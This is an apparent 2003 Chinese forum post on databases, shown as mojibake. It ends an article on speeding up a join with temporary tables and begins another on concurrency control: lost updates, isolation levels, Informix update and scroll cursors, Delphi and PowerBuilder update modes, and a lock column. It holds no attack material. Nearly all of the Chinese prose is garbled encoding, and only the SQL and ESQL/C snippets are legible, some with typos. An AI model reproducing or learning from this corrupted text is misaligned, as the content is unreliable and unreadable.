ʵ¼ÊÉÏ£¬ÎÒÃÇ¿ÉÒÔͨ¹ýʹÓÃÁÙʱ±í·Ö3¸ö²½ÖèÀ´Ìá¸ß²éѯЧÂÊ£º
1£®´Óparven±íÖа´vendor_numµÄ´ÎÐò¶ÁÊý¾Ý£º
SELECT part_num£¬vendor_num£¬price
FROM parven
ORDER BY vendor_num
INTO temp pv_by_vn
Õâ¸öÓï¾ä˳Ðò¶Áparven£¨50Ò³£©£¬Ð´Ò»¸öÁÙʱ±í£¨50Ò³£©£¬²¢ÅÅÐò¡£¼Ù¶¨ÅÅÐòµÄ¿ªÏúΪ200Ò³£¬×ܹ²ÊÇ300Ò³¡£
2£®°ÑÁÙʱ±íºÍvendor±íÁ¬½Ó£¬°Ñ½á¹ûÊä³öµ½Ò»¸öÁÙʱ±í£¬²¢°´part_numÅÅÐò£º
SELECT pv_by_vn£¬£ª vendor.vendor_num
FROM pv_by_vn£¬vendor
WHERE pv_by_vn.vendor_num=vendor.vendor_num
ORDER BY pv_by_vn.part_num
INTO TMP pvvn_by_pn
DROP TABLE pv_by_vn
Õâ¸ö²éѯ¶ÁÈ¡pv_by_vn(50Ò³)£¬Ëüͨ¹ýË÷Òý´æÈ¡vendor±í1.5Íò´Î£¬µ«ÓÉÓÚ°´vendor_num´ÎÐòÅÅÁУ¬Êµ¼ÊÉÏÖ»ÊÇͨ¹ýË÷Òý˳ÐòµØ¶Ávendor±í£¨40£«2=42Ò³£©£¬Êä³öµÄ±íÿҳԼ95ÐУ¬¹²160Ò³¡£Ð´²¢´æÈ¡ÕâЩҳÒý·¢5£ª160=800´ÎµÄ¶Áд£¬Ë÷Òý¹²¶Áд892Ò³¡£
3£®°ÑÊä³öºÍpartÁ¬½ÓµÃµ½×îºóµÄ½á¹û£º
SELECT pvvn_by_pn.£ª£¬part.part_desc
FROM pvvn_by_pn£¬part
WHERE pvvn_by_pn.part_num=part.part_num
DROP TABLE pvvn_by_pn
ÕâÑù£¬²éѯ˳ÐòµØ¶Ápvvn_by_pn(160Ò³)£¬Í¨¹ýË÷Òý¶Ápart±í1.5Íò´Î£¬ÓÉÓÚ½¨ÓÐË÷Òý£¬ËùÒÔʵ¼ÊÉϽøÐÐ1772´Î´ÅÅ̶Áд£¬ÓÅ»¯±ÈÀýΪ30¡Ã1¡£±ÊÕßÔÚInformix Dynamic SeverÉÏ×öͬÑùµÄʵÑ飬·¢ÏÖÔÚʱ¼äºÄ·ÑÉϵÄÓÅ»¯±ÈÀýΪ5¡Ã1(Èç¹ûÔö¼ÓÊý¾ÝÁ¿£¬±ÈÀý¿ÉÄÜ»á¸ü´ó)¡£
С?½á
20£¥µÄ´úÂëÓÃÈ¥ÁË80£¥µÄʱ¼ä£¬ÕâÊdzÌÐòÉè¼ÆÖеÄÒ»¸öÖøÃû¶¨ÂÉ£¬ÔÚÊý¾Ý¿âÓ¦ÓóÌÐòÖÐҲͬÑùÈç´Ë¡£ÎÒÃǵÄÓÅ»¯Òª×¥×¡¹Ø¼üÎÊÌ⣬¶ÔÓÚÊý¾Ý¿âÓ¦ÓóÌÐòÀ´Ëµ£¬ÖصãÔÚÓÚSQLµÄÖ´ÐÐЧÂÊ¡£²éѯÓÅ»¯µÄÖص㻷½ÚÊÇʹµÃÊý¾Ý¿â·þÎñÆ÷ÉÙ´Ó´ÅÅÌÖжÁÊý¾ÝÒÔ¼°Ë³Ðò¶ÁÒ³¶ø²»ÊÇ·Ç˳Ðò¶ÁÒ³¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 13:04
Êý¾Ý¿âÓ¦ÓÃÖв¢·¢¿ØÖÆÈô¸ÉʵÏÖ;¾¶

ÕÅÔÚ½¨  

Ò»£®ÒýÑÔ
²¢·¢¿ØÖÆÊÇÖ¸ÔÚ¶àÓû§µÄ»·¾³Ï£¬¶ÔÊý¾Ý¿â½øÐв¢·¢²Ù×÷½øÐй淶µÄ»úÖÆ¡£ÆäÄ¿µÄÊÇΪÁ˱ÜÃâ¶ÔÊý¾ÝµÄ¶ªÊ§Ð޸ġ¢¶ÁÔàÊý¾ÝÓë²»¿ÉÖظ´¶ÁµÈ£¬´Ó¶ø±£Ö¤Êý¾ÝµÄÕýÈ·ÐÔÓëÒ»ÖÂÐÔ¡£²¢·¢¿ØÖÆÔÚ¶àÓû§µÄģʽÏÂÊÇÊ®·ÖÖØÒªµÄ£¬µ«ÕâÒ»µã¾­³£±»Ò»Ð©Êý¾Ý¿â¿ª·¢ÈËÔ±ºöÊÓ£¬¶øÇÒÒòΪ²¢·¢¿ØÖƵIJã´ÎºÍÀàÐͷdz£·á¸»£¬ÓÐʱʹÈËÔÚÑ¡Ôñʱ±È½ÏÃԻ󣬲»Çå³þºâÁ¿²¢·¢¿ØÖƲã´ÎÑ¡ÔñµÄÔ­ÔòºÍ;¾¶¡£±¾ÎĽ«´ÓÒ»¸öÀý×ÓÈëÊÖ£¬½áºÏÊý¾Ý¿âÀíÂÛµÄÏà¹Ø֪ʶ£¬¶ÔÊý¾Ý¿âÓ¦ÓÃÖв¢·¢¿ØÖƵÄ;¾¶¡¢·½·¨×ö³öÒ»¸ö½ÏÈ«ÃæµÄ×ܽᣬϣÍûÄÜ°ïÖú¶ÁÕßÕÒµ½ºÏÀíµÄ²¢·¢¿ØÖÆ·½·¨¡£
¶þ£®Ò»¸ö²¢·¢¿ØÖÆʧ°ÜµÄÀý×Ó
ΪÁ˸üºÃµÄÀí½â²¢·¢¿ØÖƵĸÅÄÎÒÃÇÏÈÖظ´Ò»¸ö¾­³£ÁоٵÄÀý×Ó¡£Ïȸø³öÒøÐÐÊý¾Ý¿âÖÐÒ»¸ö¾­¹ý¼ò»¯µÄÕÊ»§±í(account)ÐÅÏ¢µÄÊý¾Ý×ֵ䶨Ò壬ÒÔºóÎÒÃǶ¼½«»áÒԴ˱í×÷ΪʾÀý¡£
ÁÐÃû³Æ  ÁдúÂë  ÁÐÀàÐÍ  
ÕÊ»§ºÅ  Id£¨¼üÖµÁУ© Char(10)
»§Ö÷  Uname Char(10)
´æÈë½ð¶î  Mdeposit Currency
Ö§³ö½ð¶î  Mpayout  Currency  
´æ¿îÓà¶î  Mbalance Currency
Õâ¸öÀý×ÓÊÇÔÚ¿Í»§³ÌÐòÓë·þÎñÆ÷¶ËÊý¾Ý¿âµÄ»á»°¹ý³ÌÖвúÉúµÄ£ºÄ³»§Ö÷´ú±íÔÚÒøÐÐǰ̨ȡ¿î2,000Ôª,ÒøÐгöÄɲéѯÓû§µÄ´æ¿îÐÅÏ¢ÏÔʾÒøÐдæ¿îÓà¶î20,000Ôª;ÕýÔÚÕâʱ,ÁíÒ»ÒøÐÐÕÊ»§×ªÕÊ֧Ʊ֧¸¶¸ÃÕÊ»§5,000Ôª,»úÆ÷²éѯҲµÃµ½µ±Ç°Óû§´æ¿î20,000Ôª,ÕâʱÒøÐеijöÄÉÔ±¿´µ½Óû§´æ¿î³¬¹ýÁËÈ¡¿î¶î,¾ÍÖ§¸¶ÁË¿Í»§2,000Ôª²¢½«Óû§´æ¿î¸ÄΪ18,000Ôª,È»ºóÒøÐеÄÁíÒ»Ãû²Ù×÷Ô±¸ù¾Ý֧Ʊ,½«»ãÈëµÄ5,000Ôª¼ÓÉÏ,°ÑÓû§µÄÓà¶î¸ÄΪ25,000Ôª¡£ºÜÃ÷ÏÔÒøÐн«»áËðʧ2000Ôª£¬ÒòΪÁíÒ»¸ö³öÄÉÔ±Ëù×öµÄÐ޸ı»¸²¸ÇÁË¡£
ÕâÊÇÓÉÓÚ¶Ô²¢·¢²Ù×÷¿ØÖƵÄʧ°ÜÔì³ÉµÄ£¬ÓÉÓÚûÓжÔÁ½¸ö²¢·¢²Ù×÷½øÐкÏÀíµÄ¸ôÀ룬¶ÔÊý¾Ý½øÐкÏÀíµÄËø¶¨£¬µ¼Ö¾­³öÄÉÔ±²éѯËùµÃµ½µÄ¿Í»§¶ËÊý¾Ý¼¯ÓëÊý¾Ý¿âµÄÊý¾Ý³öÏÖ²»Ò»Ö£¬½á¹û±ã²úÉúÁ˶ªÊ§Ð޸ġ£
Èý£®Êý¾Ý¿â²¢·¢¿ØÖÆÀíÂÛ»ù´¡
Ôڴ˶Բ¢·¢¿ØÖÆÖо­³£Óõ½µÄ¸ÅÄîÂÔ×ö½âÊÍ£¬¾ßÌåÄÚÈÝÇë¶ÁÕß²é×ÊÁÏ¡£ÊÂÎñÊÇÊý¾Ý¿âÖÐÒ»¸öÖØÒª¸ÅÄËüÊÇһϵÁÐҪô¶¼×ö£¬ÒªÃ´¶¼²»×öµÄ³ÌÐò¼¯ºÏ£¬ÊÇÊý¾Ý¿â²¢·¢¿ØÖƵĵ¥Î»¡£ÊÂÎñ²¢·¢¿ØÖƲ»µ±µÄ»°£¬¿ÉÒÔ²úÉú¶ªÊ§Ð޸ġ¢¶ÁÔàÊý¾Ý¡¢²»¿ÉÖظ´¶ÁµÈÊý¾Ý²»Ò»Ö¡£µ«ÔÚÓ¦ÓÃÖÐΪÁ˲¢·¢¶ÈµÄÌá¸ß£¬¿ÉÒÔÈÝÈÌһЩÕâÑùµÄ²»Ò»Ö£¬ÀýÈç´ó¶àÊýÒµÎñÂß¼­¾­Êʵ±µÄµ÷ÕûÒÔºóÊÇ¿ÉÒÔÈÝÈ̲»¿ÉÖظ´¶ÁµÄ¡£µ±½ñÁ÷ÐеĹØϵÊý¾Ý¿âϵͳ£¨Èçoracle£¬sql serverµÈ£©ÊÇͨ¹ýÊÂÎñ¸ôÀ뼶±ð£¨TRANSACTION ISOLATION LEVEL£©Óë·âËø»úÖÆÀ´¶¨Òå²¢·¢¿ØÖÆËùÒª´ïµ½µÄÄ¿±êµÄ£¬¸ù¾ÝÆäÌṩµÄЭÒ飬ÎÒÃÇ¿ÉÒԵõ½¼¸ºõÈκÎÀàÐ͵ĺÏÀíµÄ²¢·¢¿ØÖÆ·½Ê½¡£ÀýÈ磬Microsoft sql serverϵͳÖÐÓÐËÄÖÖËø£º¹²ÏíËø£¬ÅÅËüËø£¬ÒâÏòËø£¨ÓÖ·ÖΪ¹²ÏíÒâÏòËø£¬ÅÅËüÒâÏòËø£¬¹²ÏíÒâÏòÅÅËüËø£©£¬ÐÞ¸ÄËø¡£¸÷ÖÖËøÖ®¼äÓÐÈ·¶¨µÄÏàÈݹØϵ¡£ÓÐËÄÖÖÊÂÎñ¸ôÀ뼶±ð£ºÎ´Ìá½»¶Á¡¢Ìá½»¶Á¡¢¿ÉÖظ´¶Á¡¢´®Ðл¯¶Á£¬²»Í¬µÄ¸ôÀ뼶±ðËù¹æ¶¨µÄ·âËøЭÒ鲻ͬ¡£ÕâÒ»²¿·ÖÄÚÈݷdz£Ö®·á¸»£¬×ã×ã¿ÉÒÔдһ±¾Ê飬ƪ·ùËùÏÞ£¬²»ÄâϸÊö£¬ÓйØÄÚÈÝÇë²éÔÄÊý¾Ý¿âÀíÂÛ·½ÃæµÄ½Ì²Ä¡£
·âËøÀàÐÍÓë¸ôÀ뼶±ðÈç´ËÖ®·á¸»£¬ÄÇôѡÔñʱµ½µ×±¾×ÅÒ»¸öʲôԭÔòÄØ£¿ÄǾÍÊÇÊý¾ÝÒ»ÖÂÐÔÒªÇóÓë²¢·¢¶ÈÁ½¸ö·½Ãæ¡£ÀýÈçËÄÖÖ¸ôÀ뼶±ðÊý¾ÝÒ»ÖÂÐÔÒÀ´ÎÉý¸ß£¬µ«²¢·¢¶ÈÒÀ´Î½µµÍ£¬Ò»°ãϵͳĬÈϵĸôÀ뼶±ðÊÇÌá½»¶Á¡£Ò»°ãÀ´ËµÕâ¿ÉÒÔÂú×ãÓ¦ÓõÄÒªÇóÁË£¬µ«ÕâÖÖ¸ôÀ뼶±ð²»ÄܱÜÃâ²»¿ÉÖظ´¶ÁµÄÏÖÏ󣬾ÍÊÇ˵ÔÚÄãä¯ÀÀÊý¾Ý¿â¼Ç¼µÄÆڼ䣬²»Í¬Ê±¼ä¶ÁµÄͬһÌõ¼Ç¼¿ÉÒÔÓв»Í¬µÄÄÚÈÝ¡£ÓÐʱÐèÒª¶¯Ì¬µÄͨ¹ýsqlÓï¾äÀ´¸Ä±äÆä·âËø״̬»òÕ߸ôÀ뼶±ð¡£
ËÄ£®²¢·¢¿ØÖƼ¼ÊõµÄʵÏÖ;¾¶
²¢·¢¿ØÖƵÄʵÏÖ;¾¶ÓжàÖÖ£¬Èç¹ûDBMSÖ§³ÖµÄ»°£¬µ±È»×îºÃÊÇÔËÓÃÆä×ÔÉíµÄ²¢·¢¿ØÖÆÄÜÁ¦¡£Èç¹ûϵͳ²»ÄÜÌṩÕâÑùµÄ¹¦ÄÜ£¬¿ÉÒÔ½èÖú¿ª·¢¹¤¾ßµÄÖ§³Ö£¬»¹¿ÉÒÔ¿¼Âǵ÷ÕûÊý¾Ý¿âÓ¦ÓóÌÐò£¬¶øÇÒÓеÄʱºò¿ÉÒÔͨ¹ýµ÷Õû¹¤×÷ģʽÀ´±Ü¿ªÕâÖÖ»áÓ°ÏìЧÂʵIJ¢·¢²Ù×÷¡£±ÊÕ߶Ը÷ÖÖ²ßÂÔ×öÁËÒ»¸ö×ܽᣬÖ÷ÒªÓÐһϼ¸µã£º
£¨Ò»£©µ÷Õû¹¤×÷ģʽ£¬ÐÞ¸ÄÓ¦ÓóÌÐò£¬±ÜÃâ²»±ØÒªµÄ²¢·¢¡£
ÕâÔÚijЩÇé¿öÏÂÊÇ¿ÉÐеģ¬ÀýÈç¹æ¶¨Â¼ÈëÈËÔ±Ö»ÄÜÐÞ¸Ä×Ô¼ºËù´´ÔìµÄ¼Ç¼£¬ÄÇô¾Í²»»á³öÏÖ²¢·¢²Ù×÷Öеĸ÷ÖÖ´íÎó£¬ÒòΪÕâʱ¸÷¸ö²»Í¬µÄÓû§ËùÄܸüеļǼ²»»á·¢ÉúÖغϡ£ÕâÖÖÇé¿öÏ£¬ÐèÒªÔÚÊý¾Ý¿â±íÖÐÔö¼ÓÓû§ÁС£ÔÚÓû§ä¯ÀÀ¼Ç¼ʱ£¬½«Óû§ÁÐ×÷Ϊһ¸ö¹ýÂËÌõ¼þ£¬¶ÔÓ¦ÓóÌÐòµÄsqlÓï¾ä×öÏàÓ¦µÄµ÷Õû¡£µ«ÕâÖÖ²ßÂÔµÄ×÷ÓÃÓÐÏÞ£¬ÒòΪÔÚ´óÁ¿Çé¿öÏ£¬²¢·¢¿ØÖƲ»¿É±ÜÃâ¡£
£¨¶þ£©½èÖúÓÚDBMSµÄ¹¦ÄÜ¡£
´óÐ͹Øϵϵͳ¶¼ÓбȽϺõIJ¢·¢¿ØÖƹ¦ÄÜ¡£ÀýÈç¿ÉÒÔ²ÉÓøüÐÂÓαꡢÏÔʽ¼ÓËø¡¢¸ü¸ÄÊÂÎñ¸ôÀ뼶±ðµÈµÈ¡£µ±È»ÔÚÆäʹÓ÷½ÃæÓкܶà×¢ÒâµÄ¼¼ÇÉ£¬È磺£¨1£©ÊÂÎñ¶¨Òå×îºÃ²»Òª°üº¬¿Í»§½»»¥²¿·Ö¡££¨2£©Ö»ÓÐÔÚÊý¾ÝÒ»ÖÂÐÔÒªÇóÌرðÑϸñ£¬µ«²¢·¢¶ÈÒªÇ󲻸ߵÄʱºò²ÉÓÿÉÖظ´¶ÁÓë¿É´®ÐжÁµÄ¸ôÀ뼶±ð¡££¨3£©ÔÚͬһ¸öÊÂÎñµ±ÖУ¬ÒªÊʵ±¸ù¾ÝÐèÒªÀ´±ä¸üÊý¾ÝµÄËø¶¨¼¶±ð£¬µ«Ò»°ãÇé¿öϲ»ÒªÓÃTABLOCKÕâÑù´ÖÁ£¶ÈµÄ·âËø¡££¨4£©²»Í¬ÊÂÎñÖ®¼ä¿ÉÒÔ¸ù¾Ý²¢·¢¶ÈµÄÐèÒªÀ´ÏÔʽÉ趨¸ôÀ뼶±ð¡££¨5£©ÔÚ°üº¬¿Í»§½»»¥µÄ²Ù×÷ÖÐʹÓÃÓα꣬²¢¾¡¿ÉÄÜËõ¶Ì½»»¥Ê±¼ä¡£
ÎÒÃÇ¿´Ò»¸öinformixÊý¾Ý¿âÖвÉÓøüÐÂÓαêµÄÀý×Ó¡£¶¨Òå¸üÐÂÓαêÓï·¨£ºDECLARE CURSOR-name CURSOR FOR SELECT-statement FOR UPDATE[OF column-list]¡£¸üÐÂÓαêÔÚÍê³ÉÊý¾ÝµÄä¯ÀÀºÍÐÞ¸Äʱ£¬Òª¶Ôµ±Ç°µÄ¼Ç¼Òþʽ¼ÓËø£¬×¢Òâ¸üÐÂÓαêÖ»¶Ô¿É¸üÐÂÊÓͼÓÐЧ¡£ÎªÁËÌá¸ß²¢·¢¶È£¬¾­³£Òª½áºÏ¹ö¶¯ÓαêÀ´Ê¹Ó㬹ö¶¯Óα궨Òå·½·¨£ºDECLARE CURSORname SCROLL CURSOR[with hold] FOR SELECTstatement£©£¬²»¹ý¹ö¶¯Óα겻¶Ôµ±Ç°µÄ¼Ç¼¼ÓËø¡£
϶δúÂëÍê³É¿Í»§¶ÔÕÊ»§ÄÚÈݵÄä¯ÀÀºÍÐ޸ģ¬´úÂë²ÉÓÃinformixµÄesql/c£¨ÒÔcÓïÑÔ×÷ΪËÞÖ÷ÓïÑÔ£©À´±àд£¬Õ¹Ê¾Á˸üÐÂÓαêµÄʹÓ÷½·¨£º
$DECLARE mycurs CURSOR FOR SELECT Mdeposit,Mpayout,Mbalance FROM acount FOR UPDATE; //¶¨Òå¸üÐÂÓαê
$OPEN mycurs; //´ò¿ªÓαê
for(;
{$FETCH mycurs INTO $ Mdeposit,$Mpayout,$Mbalance;// ´ÓÓαêÖжÁ¼Ç¼
if sqlcode=SQLNOTFOUND then exit;//Èç¹û¼Ç¼ȡÍ꣬ÔòÍ˳öÑ­»·
¡­.//ÏÔʾ¼Ç¼ÄÚÈݸøÓû§
¡­.//Èç¹ûÓû§¾ö¶¨ÒªÐ޸ļǼ£¬Ôò¼ÌÐøÖ´ÐÐ
$UPDATE acount SET (Mdeposit,Mpayout,Mbalance)=
($Mdeposit,$Mpayout,$Mbalance) WHERE CURRENT of mycurs;//¸üÐÂÊýÖµ
}
´øÓÐFOR UPDATEµÄÓαêÓï¾äÓмÓËø¹¦ÄÜ¡£¿´ÉÏÃæµÄ´úÂ룬ÔÚ½øÐÐFETCH²Ù×÷ÒÔºó£¬ÓαêËùÖ¸ÏòµÄµ±Ç°¼Ç¼±»¼Ó¹²ÏíËø£¬µ±Óû§¾ö¶¨ÒªÐÞ¸Äʱ£¬½«¸Ã¼Ç¼ÉϵÄËøÌáÉýΪÅÅËüËø¡£ÄÇô´ËʱÆäËüÓû§²»¿ÉÒÔ¸üд˼Ǽ¡£ÕâÖÖ·½·¨Óиöȱµã£¬¾ÍÊǼ´Ê¹Óû§²»¶Ôµ±Ç°¼Ç¼½øÐÐÐ޸ģ¬Ò²Òª¶Ôµ±Ç°µÄ¼Ç¼¼ÓËø£¬Ó°ÏìÁ˲¢·¢¶È£¬ÄÇô´Ëʱ¿ÉÒÔ²ÉÓõÄÒ»¸ö·½·¨ÊÇ£º£¨1£©¶¨ÒåÒ»¸ö¹ö¶¯ÓαêÀ´Íê³É²éѯ£»£¨2£©»ñÈ¡ÓαêµÄÒ»¸ö¼Ç¼£¬ÏÔʾ¸øÓû§£»£¨2£©Óû§ä¯ÀÀ¼Ç¼£¬Ö±µ½ÒªÐ޸ĻòÕßɾ³ýµÄ¼Ç¼£»£¨3£©µ±Óû§Ñ¡ÔñÐÞ¸ÄÒ»¸ö¼Ç¼ʱ£¬ÎªÓû§ÏëÒªÐ޸ĵļǼ¶¨ÒåÒ»¸ö¸üÐÂÓα꣨4£©Ê¹ÓøüÐÂÓαê»ñÈ¡¼Ç¼£¬²¢ÖØÐÂÏÔʾËø¶¨µÄ¼Ç¼£»£¨5£©¸üÐÂÕâ¸ö¼Ç¼¡£ÄÇôÉÏÃæµÄ³ÌÐò¾Í¿ÉÒÔ¸ü¸ÄΪ£º
$DECLARE mycurs SCROLL CURSOR for SELECT Id, Mdeposit,Mpayout,Mbalance FROM acount;//¶¨Òå¹ö¶¯Óαê
$OPEN mycurs//´ò¿ª¹ö¶¯Óαê
for(;
{$FETCH mycurs INTO $Id,$Mdeposit,$Mpayout,$Mbalance; //´ÓÓαêÖжÁÈ¡¼Ç¼ֵ
if sqlcode=SQLNOTFOUND then exit; //Èç¹û¶ÁÍ꣬Í˳öÑ­»·
¡­.//ÏÔʾ¼Ç¼ÄÚÈݸøÓû§¿´
¡­.//Èç¹ûÓû§¾ö¶¨ÒªÐ޸ļǼ£¬Ôò¼ÌÐøÖ´ÐÐ
$DECLARE mycurs_update CURSOR FOR SELECT Mdeposit,Mpayout,Mbalance
FROM Acount WHERE Id=$Id; //¶¨Òå¸üÐÂÓαê
$FETCH mycurs_UPDATE INTO $Mdeposit,$Mpayout,$Mbalance; //¶ÁÈ¡ÊýÖµ
$UPDATE acount SET (Mdeposit,Mpayout,Mbalance)= ( $Mdeposit,$Mpayout,$Mbalance)
WHERE CURRENT of mycurs_update; //¸üÐÂÊýÖµ
£¨Èý£©ÀûÓÿª·¢¹¤¾ßµÄÖ§³Ö¡£
Ðí¶àÊý¾Ý¿â¿ª·¢¹¤¾ß¶¼ÓÐһЩ·½±ãµÄÑ¡Ïî»ò²¿¼þÀ´Ö§³Ö²¢·¢¿ØÖÆ£¬¶ø²»ÂÛDBMSÊÇ·ñÖ§³Ö²¢·¢¿ØÖÆ¡£ÎÒÃÇ¿´Ò»ÏÂDelphiÓëPowerbuilderµÄ²¢·¢¿ØÖÆ·½·¨¡£
DelphiÊÇÒ»¸öÓÅÐãµÄc/s¿ª·¢¹¤¾ß£¬ËüÓÃÀ´²éѯÊý¾ÝµÄÊý¾Ý¿â¿Ø¼þÊÇTQuery£¬Ëü¿ÉÒÔºÍTUpdatesql¿Ø¼þÓлúµÄ½áºÏÆðÀ´Íê³ÉÊý¾Ý¿â±íÊý¾ÝµÄä¯ÀÀºÍ¸üС£ÆäÖÐÔÚTQuery¿Ø¼þÖÐÓÐÒ»¸öÊôÐÔÊÇUpdatemod£¨ÐÞ¸Äģʽ£©£¬ËûÓÐÈýÖÖÑ¡Ôñ£º£¨1£©upWhereAll£ºÔÚä¯ÀÀºÍÐÞ¸ÄÆÚ¼äÖ»ÒªÓÐÈËÐÞ¸ÄÁ˴˼Ǽij¸öÁУ¬ÄÇô²»¹ÜÄãÊÇ·ñÐ޸ĹýÕâ¸öÁУ¬ÄãµÄÐÞ¸ÄÔÚÌύʱ¶¼²»Äܳɹ¦¡££¨2£©upWhereChanged£ºÖ»¸ù¾Ý¼üÖµÁкÍÄãÒѾ­Ð޸ĵÄÁÐÀ´¾ö¶¨ÄãµÄÐÞ¸ÄÊÇ·ñ³É¹¦£¬Èç¹û±ðÈËËùÐ޸ĵı¾¼Ç¼µÄÁÐÓëÄãÐ޸ĵÄÁв»Ïཻ£¬ÄÇôÄãµÄÐÞ¸ÄÈÔÈ»Êdzɹ¦µÄ¡££¨3£©UpWhereOnly£ºÖ»¸ù¾Ý¼üÖµÊÇ·ñÐÞ¸ÄÀ´ÅжÏÄãµÄ¸üÐÂÊÇ·ñ³É¹¦¡£
ÓëTQuery¿Ø¼þÅäÌ×ʹÓõÄTUpdatesql¿Ø¼þ¸ù¾ÝËùÖ¸¶¨µÄÐÞ¸ÄÊôÐÔ£¬×Ô¶¯Éú³ÉËùÐèµÄ¸üÐÂÓï¾ä£¬·Ç³£·½±ã¡£µÚ2ÖÖģʽÊÇ×î³£ÓõÄÐÞ¸Äģʽ£¬Ö»Òª±ðÈ˶ԼǼËù×öµÄÐ޸IJ»Óë×Ô¼ºµÄÖغϣ¬ÄÇô¾Í»áÌá½»³É¹¦£¬Õâ¼´±£Ö¤²»»á·¢ÉúÊý¾ÝµÄ¶ªÊ§¡¢¸²¸Ç£¬²¢ÇÒ¾ßÓнϸߵIJ¢·¢¶È¡£»¹ÊÇÉϱߵÄÀý×Ó£¬±ÈÈç˵¿Í»§ä¯ÀÀ¼Ç¼ºóÐ޸ĵÄÊǼǼÖÐMpayout¡¢MbalanceÁ½ÁУ¬ÄÇôÔÚÐÞ¸ÄÑ¡ÏîupWhereChangedÏ£¬Tupdatesql¿Ø¼þËùÉú³ÉµÄSQLÓï¾äÊÇ£º
UPDATE acount SET (Mpayout,Mbalance)=($Mpayout,$Mbalance)  
WHERE Key=Key_old and Mpayout=Mpayout_old and Mbalance=Mbalance_old;
ÆäÖÐKey_old,Mpayout_oldºÍMbalance_oldÊÇdelphiÌæÓû§ËùÉú³ÉµÄÖмä±äÁ¿£¬ÔÝ´æÔ­ÏÈÊý¾Ý¼Ç¼µÄ¾ÉÖµ£¬ÓÃÓڱȽϾÉÖµÓëÏÖÔÚµÄÖµÊÇ·ñÏàµÈ£¬Èç¹û²»ÏàµÈ£¬ËµÃ÷ÒѾ­ÓбðµÄÓû§¸ü¸ÄÁ˸üǼ£¬ÄÇôΪÁ˱ÜÃⶪʧÐ޸ģ¬¸ÃÓû§µÄ¸üвÙ×÷²»ÄÜÍê³É£¬·´Ö®Ôò¿ÉÒÔÍê³É¡£ÄÇôµ±³öÄÉÔ±ÐÞ¸ÄÕÊ»§Ê±£¬Èç¹û±ðÈËÒѾ­ÐÞ¸ÄÁËÕâ¸öÕÊ»§£¬ÄÇôËûµÄÕâ´ÎÐÞ¸ÄÊDz»³É¹¦µÄ£¬±ØÐëÖØÐÂˢмǼ²Å¿ÉÄܳɹ¦Ð޸ġ£¶ÔÉÏÃæµÄÀý×Ó½øÐÐÕâÖÖ¸ÄÔ죬¾Í¿ÉÒÔ±ÜÃâÒøÐеÄËðʧ¡£
ÓëDelphiæÇÃÀµÄÒ»¸öÁíÒ»¸ö¹¤¾ßÊÇÖøÃûµÄPowerbuilder£¬ÔÚÆäDataWindowsµÄÉè¼ÆÖÐ,ÎÒÃÇÑ¡Ôñ²Ëµ¥Rows|Update¡­,»á³öÏÖSpecify Update CharacteristicsµÄÉèÖô°¿Ú,ÔÚÕâ¸ö´°¿ÚÖÐÎÒÃÇÉèÖÃUpdateÓï¾äÖÐWhere×Ó¾äµÄÉú³É,ÒÔ´ËÀ´½øÐв¢·¢¿ØÖÆ¡£ÔÚÕâÀïÓÐÈý¸öÑ¡Ï (1)Key Columns:Éú³ÉµÄWhere×Ó¾äÖÐÖ»±È½Ï±íÖеÄÖ÷¼üÁеÄÖµÓë×î³õ²éѯʱÊÇ·ñÏàͬÀ´È·¶¨ÒªÐ޸ĵļǼ¡£ÓëDelphiÖеÄUpWhereOnlyÑ¡Ïî¶ÔÓ¦¡£ (2)Key and Updateable Columns:Éú³ÉµÄWhere×Ó¾ä±È½Ï±íÖÐÖ÷¼üÁкͿÉÐÞ¸ÄÁеÄÖµÓë×î³õ²éѯʱ·ñÊÇÏàͬ¡£ÓëDelphiµÄupWhereallÏà¶ÔÓ¦¡£ (3)Key and Modified Columns£ºÓëDelphiµÄupWhereChangedÑ¡Ïî¶ÔÓ¦¡£Where×Ó¾ä±È½ÏÖ÷¼üºÍÒªÐ޸ĵÄÁС£  
£¨ËÄ£©µ÷ÕûÓ¦Óá£
ÓеÄÊý¾Ý¿âûÓÐÌṩ²¢·¢¿ØÖƵŦÄÜ£¬ÀýÈçFoxproµÈ,ÏóMysqlµÄijЩ°æ±¾Ò²²»Ö§³ÖÊÂÎñ¡£¶øÇÒÓеĿª·¢¹¤¾ß£¨ÀýÈçһЩÍøÒ³½Å±¾±à¼­Æ÷µÈ£©Ò²Ã»ÓÐÌṩʵÏÖ²¢·¢¿ØÖƵIJ¿¼þ£¬ÄÇôҪʵÏÖ²¢·¢¿ØÖÆ£¬¾ÍÖ»ÄܽèÖúÓÚµ÷ÕûÎÒÃǵÄÓ¦ÓóÌÐòºÍÊý¾Ý¿â½á¹¹µÄ°ì·¨ÁË¡£
¿ÉÒÔ°´ÕÕ·âËøµÄ»ù±¾Ë¼ÏëÀ´µ÷ÕûÓ¦Óá£ÔÚÐèÒª½øÐв¢·¢¿ØÖƵÄÊý¾Ý¿â±íÖÐÔö¼ÓÒ»¸öËø×ֶΣ¬Õâ¸ö×ֶοÉÒÔÊÇÒ»¸ö²¼¶ûÐͱäÁ¿£¬ÎªtrueÔòΪËø¶¨£¬ÎªfalseÔòΪ¿ÕÏС£´Ëʱ±íµÄ½á¹¹±äΪ£º
ÁÐÃû³Æ  ÁдúÂë  ÁÐÀàÐÍ
ÕÊ»§ºÅ  Id£¨¼üÖµÁУ© Char(10)
»§Ö÷  Uname Char£¨10£©
´æÈë½ð¶î  Mdeposit  Currency
Ö§³ö½ð¶î Mpayout  Currency  
´æ¿îÓà¶î  Mbalance Currency
Ëø  Lock  Boolean
